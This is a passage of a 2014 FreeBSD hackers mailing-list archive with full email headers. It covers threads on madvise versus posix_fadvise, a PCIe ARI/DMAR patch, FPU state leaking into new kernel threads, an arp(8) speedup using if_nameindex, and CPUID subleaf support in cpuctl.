(UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 70CE0F91; Thu, 27 Mar 2014 18:00:16 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id 41C85B9B9; Thu, 27 Mar 2014 14:00:15 -0400 (EDT) From: John Baldwin To: freebsd-hackers@freebsd.org Subject: Re: madvise() vs posix_fadvise() Date: Thu, 27 Mar 2014 11:41:41 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: In-Reply-To: MIME-Version: 1.0 Content-Type: Text/Plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Message-Id: <201403271141.41487.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Thu, 27 Mar 2014 14:00:15 -0400 (EDT) Cc: hackers@freebsd.org, Dmitry Sivachenko , Trond =?utf-8?q?Endrest=C3=B8l?= X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Mar 2014 18:00:16 -0000 On Monday, March 24, 2014 8:03:04 am Dmitry Sivachenko wrote: >=20 > On 21 =D0=BC=D0=B0=D1=80=D1=82=D0=B0 2014 =D0=B3., at 20:27, Trond Endres= t=C3=B8l=20 wrote: >=20 > > On Fri, 21 Mar 2014 18:56+0400, Dmitry Sivachenko wrote: > >=20 > >> Hello! > >>=20 > >> I have a program which uses large data files (read-only, via mmap()). > >>=20 > >> These machines have a bit more RAM that these files occupy, so it is=20 > >> possible to have all these data in memory. > >>=20 > >> What techniques should I use to promote this data not to be purged=20 > >> from RAM: > >>=20 > >> -- madvise(MADV_WILLNEED) > >> -- posix_fadvise(POSIX_FADV_WILLNEED) > >> -- both? > >=20 > > Although a bit dangerous, mlock(2) might be your ticket. That system=20 > > call prevents your memory region from being swapped/paged away from=20 > > physical memory. > >=20 >=20 >=20 > I know about mlock(2), it is a bit overkill. > Can someone please explain the difference between madvise(MADV_WILLNEED) = and=20 posix_fadvise(POSIX_FADV_WILLNEED)? Right now FADV_WILLNEED is a nop. (I have some patches to implement it for UFS.) I can't recall off the top of my head if MADV_WILLNEED is also a nop. However, if both are fully implemented they should be similar in terms of requesting async read-ahead. MADV_WILLNEED might also conceivably pre-create PTEs while FADV_WILLNEED can be used on a file that isn't mapped but is accessed via read(2). =2D-=20 John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 27 18:48:37 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1DB131F8 for ; Thu, 27 Mar 2014 18:48:37 +0000 (UTC) Received: from mail-oa0-x233.google.com (mail-oa0-x233.google.com [IPv6:2607:f8b0:4003:c02::233]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id D7F4C644 for ; Thu, 27 Mar 2014 18:48:36 +0000 (UTC) Received: by mail-oa0-f51.google.com with SMTP id i4so4855705oah.24 for ; Thu, 27 Mar 2014 11:48:36 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=OKMNpE/TQafLmtsXgezatL4oQy5F7kn7RYo+M2D5Qeg=; b=bSz4tlSmlONdIpFG5nQZlcyLvOyZkMwiV04hZZh+w0vs17Cnus94hgHMlI9312scTV KtnChNuF0vq4d+wBo8Lr7DIMHr+BSt14p8pPOFB096ZcSN1keMBsr/AeXbRKMVr87Hgw 4S/0mlox917G7jumSFWBBij2HbCTtIAMCGPQHRPdHa02Qz/WVf+Gt16VzhEY6PaV7iol 81qs72cJ2R7PFzobnz488OIqsUCaIOtVOoSxcPphf3BumZia8BMItCBGYxhHDdjAnBVn nt0Z3+Pa/eylXR02j6BXpP1glma8l9KcsQ8CfkPMZJxMj5CM/Rvmt2wF7oezdiaF8O+L KC+Q== MIME-Version: 1.0 X-Received: by 10.60.44.135 with SMTP id e7mr2552585oem.63.1395946116098; Thu, 27 Mar 2014 11:48:36 -0700 (PDT) Received: by 10.76.115.129 with HTTP; Thu, 27 Mar 2014 11:48:36 -0700 (PDT) In-Reply-To: <20140325211355.GG21331@kib.kiev.ua> References: <20140316141216.GA21331@kib.kiev.ua> <20140319140236.GM21331@kib.kiev.ua> <20140325211355.GG21331@kib.kiev.ua> Date: Thu, 27 Mar 2014 14:48:36 -0400 Message-ID: Subject: Re: [PATCH] Support PCIe Alternative RID Interpretation (ARI) From: Ryan Stone To: Konstantin Belousov Content-Type: text/plain; charset=ISO-8859-1 Cc: "freebsd-hackers@freebsd.org" , Neel Natu X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Mar 2014 18:48:37 -0000 On Tue, Mar 25, 2014 at 5:13 PM, Konstantin Belousov wrote: > Well, either the interface I described is provided by pci core, or > iommu has to de-facto implement it itself. IMO it is clearer to have > it in pci, but I do not want to block your work on this. Yes, but this amounts to some simple masking and shifting on the RID. I don't think that's a very high burden. > I mean, that slot and func should be obtained using pci accessors where > needed. It is definitely not perf-critical, and I dislike having both > bsf and rid in the context structure more, then using accessors. Ok, I've updated the DMAR patch to use pci accessors instead. This required moving the initialization of ctx_tag.owner earlier in the initialization of the DMAR ctx, but beyond that the change was trivial. From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 27 19:42:05 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 07AAA6B8 for ; Thu, 27 Mar 2014 19:42:05 +0000 (UTC) Received: from elf.torek.net (50-73-42-1-utah.hfc.comcastbusiness.net [50.73.42.1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id C9F72BFF for ; Thu, 27 Mar 2014 19:42:04 +0000 (UTC) Received: from elf.torek.net (localhost [127.0.0.1]) by elf.torek.net (8.14.5/8.14.5) with ESMTP id s2RJg2G6069599; Thu, 27 Mar 2014 13:42:02 -0600 (MDT) (envelope-from torek@elf.torek.net) Received: (from torek@localhost) by elf.torek.net (8.14.5/8.14.5/Submit) id s2RJg2hQ069598; Thu, 27 Mar 2014 13:42:02 -0600 (MDT) (envelope-from torek) Date: Thu, 27 Mar 2014 13:42:02 -0600 (MDT) From: Chris Torek Message-Id: <201403271942.s2RJg2hQ069598@elf.torek.net> To: kostikbel@gmail.com Subject: Re: slight problem with r254457 (kthread_add fix) In-Reply-To: <20140327120720.GN21331@kib.kiev.ua> X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.4.3 (elf.torek.net [127.0.0.1]); Thu, 27 Mar 2014 13:42:02 -0600 (MDT) X-Mailman-Approved-At: Thu, 27 Mar 2014 20:48:04 +0000 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Mar 2014 19:42:05 -0000 >I agree with the problem statement, but disagree with the proposed >'fix'. I.e., I agree that on the creation of a new kernel thread, the >current thread FPU grab state must not leak into the created thread. > >In fact, cpu_set_upcall() already almost handles this correctly, by >resetting the pcb_save pointer back to the user save area. What is >not done is the clearing of PCB_KERNFPU flag, which seems to be the >issue you met. Am I right ? Yes. I considered your fix as well but decided it required also understanding other architectures too much. :-) (I don't know if sparc has similar code, for instance, but it *could*; its FPU is much like the amd64 one. You've fixed i386, but there are more.) >If yes, then the following patch should handle the problem, hopefully. I'm OK with this too, as long as all architectures do it, or something sufficiently similar. (Another way to look at this is that creating a new kernel thread requires cloning a child from somewhere, but we don't have a particularly good "somewhere" so we clone something chosen at what amounts to random. We then have to make this look like a "virgin birth", untainted by any previous actions of the thing we're cloning. While I was hunting this problem I also looked at cpu_throw in amd64/amd64/cpu_switch.S. It took me a long time to figure out why it is safe to ignore the per-cpu fpcurthread there. It is, because cpu_throw is used for only one case, the "virgin birth" setup on each CPU. There can be no existing thread using the FPU at that point, so this is OK.) Chris From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 27 20:59:25 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 88ACE3DC for ; Thu, 27 Mar 2014 20:59:25 +0000 (UTC) Received: from frv199.fwdcdn.com (frv199.fwdcdn.com [212.42.77.199]) (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 3F9B138A for ; Thu, 27 Mar 2014 20:59:25 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=ukr.net; s=ffe; h=Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-Id:Cc:To:Subject:From:Date; bh=Z3t/TDda1l16Zy5W47kZ/qEFPwl91vE7qJkFQHMgxZI=; b=NlrJLfwkjcUffNoiJ/KAMzGnOLhT5LcJPoa7uHSucUS7Zl9F5XeAh4CdGqU+OZXrMW7JfRfyUE1DAL5T1l5zpLbLvOiGYXiMTjHq5LdW4Nz7a0q1JB7j8jdEOcizGLOXl5hOdpM4qUwyG9P+kLKIalPY/OyjowhvJNx9Oh86BPY=; Received: from [10.10.10.35] (helo=frv35.fwdcdn.com) by frv199.fwdcdn.com with smtp ID 1WTHOK-000NNh-K6 for freebsd-hackers@freebsd.org; Thu, 27 Mar 2014 22:59:12 +0200 Date: Thu, 27 Mar 2014 22:59:12 +0200 From: Vladislav Prodan Subject: Re: arp(8) performance - use if_nameindex() instead of if_indextoname() To: Nick Rogers X-Mailer: mail.ukr.net 5.0 Message-Id: <1395953784.953193393.sslrpyfe@frv35.fwdcdn.com> In-Reply-To: References: MIME-Version: 1.0 Received: from universite@ukr.net by frv35.fwdcdn.com; Thu, 27 Mar 2014 22:59:12 +0200 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: binary Content-Disposition: inline Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Mar 2014 20:59:25 -0000 > I propose that instead of calling if_indextoname() for every entry, > we leverage if_nameindex() to obtain a cache of if_index to if_name > mappings, before printing all the entries. This results in a > considerable performance improvement for my situation, and also > handles the case that was "fixed" in the commit I just mentioned. > > I took a shot at this and came up with the following diff against > HEAD. I used routed's route6d.c as a reference, which is the only > thing I could find utilizing if_nameindex(). I am currently using this > in production environments with great success. > > The following illustrates the performance improvement: > > [root@vm ~/arp]# ifconfig -a | grep vlan | grep interface | wc -l > 1500 > > [root@vm ~/arp]# arp -na | wc -l > 1503 > > [root@vm ~/arp]# time /usr/sbin/arp.old -na > /dev/null > > real 0m5.529s > user 0m0.813s > sys 0m4.231s > > [root@vm ~/arp]# time /usr/sbin/arp -na > /dev/null > > real 0m0.011s > user 0m0.008s > sys 0m0.002s > [root@vm ~/arp]# > > > I realize this may not be the cleanest way of implementing > if_nameindex within arp.c. I'm hoping Max Laier or someone else can > help me out (again) and get an adequate fix committed. Thanks! > Thanks, it works. Can set separate file somewhere? And then somewhere mailing list spoiled formatting patch ... # ngctl list | grep ngeth | wc -l 12003 # ifconfig -a | egrep -e 'inet ' | wc -l 12007 # time /usr/sbin/arp.old -na > /dev/null 150.661u 551.002s 11:53.71 98.3% 20+172k 1+0io 0pf+0w # time /usr/sbin/arp -na > /dev/null 0.114u 0.090s 0:00.14 142.8% 20+170k 0+0io 0pf+0w -- Vladislav V. Prodan System & Network Administrator http://support.od.ua +380 67 4584408, +380 99 4060508 VVP88-RIPE From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 28 07:03:06 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 71213AE3; Fri, 28 Mar 2014 07:03:06 +0000 (UTC) Received: from vps1.elischer.org (vps1.elischer.org [204.109.63.16]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "vps1.elischer.org", Issuer "CA Cert Signing Authority" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 3B75039F; Fri, 28 Mar 2014 07:03:06 +0000 (UTC) Received: from julian-mbp3.pixel8networks.com ([12.179.176.146]) (authenticated bits=0) by vps1.elischer.org (8.14.8/8.14.8) with ESMTP id s2S72vCR020812 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Fri, 28 Mar 2014 00:02:58 -0700 (PDT) (envelope-from julian@freebsd.org) Message-ID: <53351E96.1000608@freebsd.org> Date: Fri, 28 Mar 2014 00:02:46 -0700 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org, Chris Torek , Konstantin Belousov Subject: Re: slight problem with r254457 (kthread_add fix) References: <201403271942.s2RJg2hQ069598@elf.torek.net> In-Reply-To: <201403271942.s2RJg2hQ069598@elf.torek.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Mar 2014 07:03:06 -0000 On 3/27/14, 12:42 PM, Chris Torek wrote: >> I agree with the problem statement, but disagree with the proposed >> 'fix'. I.e., I agree that on the creation of a new kernel thread, the >> current thread FPU grab state must not leak into the created thread. >> >> In fact, cpu_set_upcall() already almost handles this correctly, by >> resetting the pcb_save pointer back to the user save area. What is >> not done is the clearing of PCB_KERNFPU flag, which seems to be the >> issue you met. Am I right ? > Yes. I considered your fix as well but decided it required also > understanding other architectures too much. :-) (I don't know > if sparc has similar code, for instance, but it *could*; its > FPU is much like the amd64 one. You've fixed i386, but there > are more.) > >> If yes, then the following patch should handle the problem, hopefully. > I'm OK with this too, as long as all architectures do it, or > something sufficiently similar. this is the reason that I originally made the new thread 'fork' off an old one (back in 2000 I think it was.. I was in Budapest I remember.), anyway I didn't want to be bothered with the internal contents of stuff I didn't understand on processors I didn't know, and the rule was "no FPU in the Kernel", so it was "safe" (ish). I did make a mental note that if there were ever problems with this then we should write a machine dependent function to set up a new thread context, but I was in a hurry so I did it in the most generic way possible. In any case, fork() had been doing it that way for years too. SO, I guess the message is: "no magic was hidden here. any obvious fix you can see is probably good enough" BTW for kernel threads with no proc, My memory is that I was forking from thread0, which was the thread that went on to be running init(). I THINK that is still true but either way, it was not a thread that was going anywhere, and it was guaranteed to not have a floating point operation. > (Another way to look at this is that creating a new kernel thread > requires cloning a child from somewhere, but we don't have a > particularly good "somewhere" so we clone something chosen at what > amounts to random. We then have to make this look like a "virgin > birth", untainted by any previous actions of the thing we're > cloning. > > While I was hunting this problem I also looked at cpu_throw in > amd64/amd64/cpu_switch.S. It took me a long time to figure out > why it is safe to ignore the per-cpu fpcurthread there. It is, > because cpu_throw is used for only one case, the "virgin birth" > setup on each CPU. There can be no existing thread using the FPU > at that point, so this is OK.) > > Chris > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 28 09:32:14 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 34CFEDB7; Fri, 28 Mar 2014 09:32:14 +0000 (UTC) Received: from elf.torek.net (50-73-42-1-utah.hfc.comcastbusiness.net [50.73.42.1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id F2B0A30A; Fri, 28 Mar 2014 09:32:13 +0000 (UTC) Received: from elf.torek.net (localhost [127.0.0.1]) by elf.torek.net (8.14.5/8.14.5) with ESMTP id s2S9W5NH073182; Fri, 28 Mar 2014 03:32:05 -0600 (MDT) (envelope-from torek@elf.torek.net) Received: (from torek@localhost) by elf.torek.net (8.14.5/8.14.5/Submit) id s2S9W5s3073181; Fri, 28 Mar 2014 03:32:05 -0600 (MDT) (envelope-from torek) Date: Fri, 28 Mar 2014 03:32:05 -0600 (MDT) From: Chris Torek Message-Id: <201403280932.s2S9W5s3073181@elf.torek.net> To: freebsd-hackers@freebsd.org, julian@freebsd.org, kib@freebsd.org Subject: Re: slight problem with r254457 (kthread_add fix) In-Reply-To: <53351E96.1000608@freebsd.org> X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.4.3 (elf.torek.net [127.0.0.1]); Fri, 28 Mar 2014 03:32:06 -0600 (MDT) X-Mailman-Approved-At: Fri, 28 Mar 2014 11:32:30 +0000 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Mar 2014 09:32:14 -0000 >this is the reason that I originally made the new thread 'fork' >off an old one (back in 2000 I think it was.. I was in Budapest I >remember.), anyway I didn't want to be bothered with the internal >contents of stuff I didn't understand on processors I didn't >know, and the rule was "no FPU in the Kernel", so it was "safe" >(ish). > >I did make a mental note that if there were ever problems with >this then we should write a machine dependent function to set up >a new thread context ... This is kind of a mess though, since every OTHER process/thread creation (except the initial ones in proc0/thread0) works by cloning. So you end up with some kind of test (a flag, or "old thread == NULL", or whatever) somewhere, or duplicated code. (Overall, I like the "make MD code clean things up" method better. Depending on thread0 state is pretty hacky. It's just more work to check everything.) (I remember when someone, I think it may have been Mike Karels, shuffled all the members of "struct proc" around so that we could use the bcopy-some, bzero-some method to speed up fork(). It's a hack too, but it's a nice one, and it's still in there, in modified form. :-) ) Chris From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 28 13:10:11 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 04F9A625 for ; Fri, 28 Mar 2014 13:10:11 +0000 (UTC) Received: from mail-ob0-x232.google.com (mail-ob0-x232.google.com [IPv6:2607:f8b0:4003:c01::232]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id C3E68B04 for ; Fri, 28 Mar 2014 13:10:10 +0000 (UTC) Received: by mail-ob0-f178.google.com with SMTP id wp18so5997735obc.9 for ; Fri, 28 Mar 2014 06:10:10 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; bh=hccR/GPfaGPwnY78AlZTGgr4uRp797Ivm0IzDwRPE2E=; b=mm2GoWR5061BFlj179LMHtRyRI2SvGBYyZzRdL+6jxGYpZTHkPHyZHWbCr3AHlMH88 4x5ECwZ9N3fRxmvlI6OLTQWA5IiSOW4d9H7MNsE+fWVVhV6mFZxZZjZ4RRgwRF9BL4Wg FhLiqjnHKyaILLLsBFJMJ3eP8pBWrqso81oCkchJP6fMMR01de7o1KD5eSRp8943tvXI F9v+taelH1lg7tvUv3wDdsaAHjBIn4mq5Rp+5BjrV2CXGmicLWhTAn+wDmbVie2mJWZy +FqqaJrVFi4/+r18Kn2bex7XxkjImVqESKL7BkaLVkv60tasGbLymh3zV/Qu5427uGUM azKQ== X-Received: by 10.182.16.33 with SMTP id c1mr6913094obd.4.1396012210150; Fri, 28 Mar 2014 06:10:10 -0700 (PDT) MIME-Version: 1.0 Received: by 10.76.80.194 with HTTP; Fri, 28 Mar 2014 06:09:40 -0700 (PDT) In-Reply-To: <20140327123859.GP21331@kib.kiev.ua> References: <20140326155429.GK21331@kib.kiev.ua> <20140327123859.GP21331@kib.kiev.ua> From: Jia-Shiun Li Date: Fri, 28 Mar 2014 21:09:40 +0800 Message-ID: Subject: Re: Add CPUID subleaf capability to cpuctl/cpucontrol To: Konstantin Belousov Content-Type: text/plain; charset=UTF-8 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Mar 2014 13:10:11 -0000 On Thu, Mar 27, 2014 at 8:38 PM, Konstantin Belousov wrote: > > From what I remember, in the multi-socket configuration Intel allows > CPUs to only differ by stepping. Due to this, I see only one possible > uses of executing CPUID on specific core, to get the stepping of the > package, to either test for the presence of the specific CPU bug, or to > select the proper microcode update. > > That said, I am curious why do you want this feature. I'd like to do some CPU monitoring w/ MSR, thus need to identify CPU topology & CPU id on specific logical ones. I am sure there are some info from kernel, sysctl, etc. Even utilities readily available. But I am just curious on how it works anyway. With topology and MSR access via cpuctl, it should be able to do some monitoring from user space. After a quick scan, I think the most similar in ports should be i7z. Jia-Shiun. From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 28 13:35:34 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4DEFEE96 for ; Fri, 28 Mar 2014 13:35:34 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id E19A2D42 for ; Fri, 28 Mar 2014 13:35:33 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s2SDZT3v073582; Fri, 28 Mar 2014 15:35:29 +0200 (EET) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s2SDZT3v073582 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s2SDZT6k073581; Fri, 28 Mar 2014 15:35:29 +0200 (EET) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Fri, 28 Mar 2014 15:35:29 +0200 From: Konstantin Belousov To: Ryan Stone Subject: Re: [PATCH] Support PCIe Alternative RID Interpretation (ARI) Message-ID: <20140328133529.GV21331@kib.kiev.ua> References: <20140316141216.GA21331@kib.kiev.ua> <20140319140236.GM21331@kib.kiev.ua> <20140325211355.GG21331@kib.kiev.ua> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="V8Y3+xXnhQGsvjWT" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: "freebsd-hackers@freebsd.org" , Neel Natu X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Mar 2014 13:35:34 -0000 --V8Y3+xXnhQGsvjWT Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Mar 27, 2014 at 02:48:36PM -0400, Ryan Stone wrote: > On Tue, Mar 25, 2014 at 5:13 PM, Konstantin Belousov > wrote: > > Well, either the interface I described is provided by pci core, or > > iommu has to de-facto implement it itself. IMO it is clearer to have > > it in pci, but I do not want to block your work on this. >=20 > Yes, but this amounts to some simple masking and shifting on the RID. > I don't think that's a very high burden. Well, as I learned during iommu development, a typo there could lay unnoticed for long time and than beat. This is due to most modern systems being PCIe and slot/function often equal to zero, or at least function equal to zero. >=20 > > I mean, that slot and func should be obtained using pci accessors where > > needed. It is definitely not perf-critical, and I dislike having both > > bsf and rid in the context structure more, then using accessors. >=20 > Ok, I've updated the DMAR patch to use pci accessors instead. This > required moving the initialization of ctx_tag.owner earlier in the > initialization of the DMAR ctx, but beyond that the change was > trivial. What is the URL ? --V8Y3+xXnhQGsvjWT Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTNXqgAAoJEJDCuSvBvK1BWnkP/2HeUh/ShjHd73WazR3M99qu n4dblfySmM2LSMXfoQxrO1H5/lUQQneAmAEw5Bt3qEVEHPSvItyEPxThnqf8DmCe JzbXm9+lLLK8ZfdGCMVXGOEmo5+fZb34TtV2JJo+x9rNRYeWHtwGiX8FMBfIi4Yo l//DzAMgs8jqgiCHxYZ0pcCsFTogGFpTWU7WyHYkEWbOTTvm3mz2dGINMH6rkCuE zzHMOAClXllW5vhZCxlQ9xh7axeATIrpFMB6n3L08RDoKGxB3eGZI3A9xXUEijOy 8gf87hwhsZy8MnaKMU9dQzB7Ii9T0gKTdeV+Ez9IYTce0RoOUEZB2LnZX+NR/SuX U6orKLJLuVgnfWhrKNbyAoCpeDChdL78Jn0qJ96vCMd6HiJliHy3iZacYXkksJkY DGqpjnJDFC+7IerR+Lv4y8JLYPCjOm5+c8tFngL5zWzQujveajXQfHN16FsPQ8jU JdAGsVSVdMdnxTcUoCxgVYz51ecyoPuzor83kz4+DQbPauGh7EYRbxyxAkPVe0B7 BA5hHqFZSLKIGCyQZI3ESoR8muXtm2UbiU37kFeaTLd0njepFEF/rYtkDgdBz2op nPQYdjkYWfs4mJCQcrq8k7bNmqBFKdAk/jo9Oi4dHTttdYooo4j22zGDb0+6FIAZ dJ33sK40EJbI15FVla3Z =1E/x -----END PGP SIGNATURE----- --V8Y3+xXnhQGsvjWT-- From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 28 13:44:37 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0C68625A for ; Fri, 28 Mar 2014 13:44:37 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 9E96AE1A for ; Fri, 28 Mar 2014 13:44:36 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s2SDiWuU075325; Fri, 28 Mar 2014 15:44:32 +0200 (EET) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s2SDiWuU075325 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s2SDiVM9075324; Fri, 28 Mar 2014 15:44:31 +0200 (EET) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Fri, 28 Mar 2014 15:44:31 +0200 From: Konstantin Belousov To: Jia-Shiun Li Subject: Re: Add CPUID subleaf capability to cpuctl/cpucontrol Message-ID: 